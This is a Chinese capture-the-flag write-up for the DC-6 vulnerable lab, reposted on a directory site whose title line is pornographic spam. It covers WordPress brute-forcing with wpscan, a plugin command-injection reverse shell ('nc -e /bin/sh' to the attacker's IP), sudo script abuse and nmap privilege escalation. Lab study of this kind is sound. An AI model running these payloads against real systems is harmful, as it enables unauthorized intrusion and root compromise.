日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網(wǎng)為廣大站長提供免費收錄網(wǎng)站服務(wù),提交前請做好本站友鏈:【 網(wǎng)站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(wù)(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

DC-6

題目描述

DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This isn't an overly difficult challenge so should be great for beginners.
The ultimate goal of this challenge is to get root and to read the one and only flag.
linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

NOTE: You WILL need to edit your hosts file on your pentesting device so that it reads something like:
192.168.0.142 wordy

Clue
OK, this isn't really a clue as such, but more of some "we don't want to spend five years waiting for a certain process to finish" kind of advice for those who just want to get on with the job.
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

描述中說到和之前一樣只有一個Flag,并且需要配置一下HOSTS,且給了提示

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

知識點總結(jié)

? ①掃描

? ②使用wpscan工具枚舉用戶,結(jié)合提示生成字典進行爆破密碼

? ③利用網(wǎng)站插件的命令執(zhí)行漏洞反彈shell

? ④根據(jù)每個用戶可以執(zhí)行的操作進行提權(quán)

? ⑤nmap提權(quán)

1.掃描局域網(wǎng)主機

arp-scan -l
網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

目標IP為:192.168.2.132

2.掃描端口

nmap -sV -p- 192.168.2.132

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))

可以看到開放了ssh端口和web端口

3.配置hosts

題目描述已經(jīng)說了,我們需要配置一下hosts文件

windows下在 C:windowssystem32driversetchosts

打開后在末尾添加

192.168.2.132  wordy

Linux下在/etc/hosts

vim /etc/hosts
添加  192.168.2.132  wordy

4.訪問web

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

是一個WordPress網(wǎng)站,kali有專門的掃描工具wpscan,我們可以使用工具掃描一下

在掃描之前先來掃一下目錄

5.使用dirsearch掃描目錄

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

發(fā)現(xiàn)的登錄地址

6.使用wpscan掃描用戶

wpscan --url http://wordy/  -e u
網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

發(fā)現(xiàn)了這幾個用戶,我們將用戶保存到dc6-username.txt中

admin,mark,graham,sarah,jens
網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

7.對用戶密碼進行爆破

我們使用cewl來生成字典

cewl -w /root/dc6-passwd.txt http://wordy/

開始爆破

wpscan --url http://wordy/ -U dc6-username.txt -P dc6-passwd.txt
網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

但是這里顯示沒有找到密碼,于是我們想到剛開始的時候提示有密碼

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

將rockyou.txt里面的帶有k01的面找出來

我們先查看一下rockyou.txt

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

這里確實有這個字典,將帶有k01的密碼導(dǎo)出來

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

然后進行爆破

wpscan --url http://wordy/ -U dc6-username.txt -P dc6-passwd.txt
網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

找到了mark的密碼為:helpdesk01

登錄后臺發(fā)現(xiàn)有一個插件

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

也可以通過wpscan掃描插件

wpscan --url http://wordy --plugins-detection aggressive
網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

8.利用插件漏洞來getshell

首先百度查一下activity-monitor漏洞

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

可以看到有命令執(zhí)行漏洞

我們用kali的searchsploit來查找漏洞

searchsploit activity monitor 
網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

#將html文件復(fù)制到root目錄
cp /usr/share/exploitdb/exploits/php/webApps/45274.html  45274.html
#拷貝一份
cp 45274.html 45274.html.bak
#修改一下html內(nèi)容,將反彈ip改成kali的,提交申請改為目標網(wǎng)站
vi 45274.html
網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

然后直接打開網(wǎng)頁提交,這里不知道為什么獲取不到shell,研究一下exp然后去網(wǎng)頁上自己實現(xiàn)

這里是在activity的插件頁面的tools分類里邊

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

填I(lǐng)P的地方有個命令執(zhí)行,我們測試一下

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

(這里因為填I(lǐng)P的地方對長度有限制所以前邊的127.0.0.1刪掉了一部分)

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

可以看到whoami的命令已經(jīng)被執(zhí)行,我們在這里反彈一個shell,但是我們的shell長度有點長,使用F12修改輸入的長度

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

然后在kali上監(jiān)聽

#kali
nc -lvp 1234
#發(fā)送payload
1|nc -e /bin/sh 192.168.2.135 1234

可以看到已經(jīng)獲取shell了

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

同樣,切換一下shell外殼

Python -c 'import pty;pty.spawn("/bin/bash")'
網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

先看看這里都有什么文件,進入到home目錄下當前用戶的文件夾

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

發(fā)現(xiàn)一個txt

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

發(fā)現(xiàn)了graham的密碼

graham - GSo7isUM1D4

切換到這個用戶

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

先查看一下有沒有suid提權(quán) 發(fā)現(xiàn)沒有 再使用sudo -l看一下可以執(zhí)行的命令

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

可以使用jens用戶來執(zhí)行這個.sh文件查看一下這個腳本是什么內(nèi)容

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

既然我們可以執(zhí)行這個腳本,我們把/bin/bash放入腳本里,以jens用戶執(zhí)行后 就相當于獲取了jens的權(quán)限

echo "/bin/bash" >> backups.sh
網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

已經(jīng)寫進去了

然后以jens用戶執(zhí)行

sudo -u jens ./backups.sh
網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

已經(jīng)切換到j(luò)ens用戶

再使用sudo -l 查看一下可以執(zhí)行的操作

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

可以使用nmap,由于nmap是可以執(zhí)行腳本的,我們把root的shell放入腳本里讓nmap執(zhí)行也就相當于獲取了root的權(quán)限

#寫入shell
echo 'os.execute("/bin/sh")' > Shell
#name使用script執(zhí)行腳本
sudo  nmap  --script=shell
網(wǎng)絡(luò)安全技術(shù)入門靶機分享

 


image

獲取root權(quán)限,查看flag

網(wǎng)絡(luò)安全技術(shù)入門靶機分享

分享到:
標簽:網(wǎng)絡(luò)安全
用戶無頭像

網(wǎng)友整理

注冊時間:

網(wǎng)站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨大挑戰(zhàn)2018-06-03

數(shù)獨一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學(xué)四六

運動步數(shù)有氧達人2018-06-03

記錄運動步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績評定2018-06-03

通用課目體育訓(xùn)練成績評定